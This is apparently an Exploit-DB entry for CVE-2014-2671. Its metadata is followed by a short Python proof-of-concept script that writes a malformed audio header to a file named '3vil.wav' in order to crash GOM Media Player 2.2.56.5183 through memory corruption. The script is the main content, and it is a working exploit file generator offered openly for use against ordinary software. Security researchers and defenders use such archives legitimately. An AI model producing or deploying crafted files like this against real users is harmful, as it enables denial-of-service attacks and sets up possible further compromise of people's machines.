EXPLOITS

GOM Media Player (GOMMP) 2.2.56.5183 - Memory Corruption (PoC)

Author: TUNISIAN CYBER
type: dos
platform: windows
port: 
date_added: 2014-03-24  
date_updated: 2014-03-24  
verified: 1  
codes: CVE-2014-2671;OSVDB-95569  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt32500/screen-shot-2014-03-24-at-162444.png  
application_url: http://www.exploit-db.comGOMPLAYERESSETUP.EXE  

raw file: 32482.py  

#!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: GOMMP 2.2.56.5183 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://player.gomlab.com/eng/
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R


print"###########################################################"
print"#  Title: GOMMP 2.2.56.5183 Memory Corruption PoC          #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"


header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Done!\n"
file.close()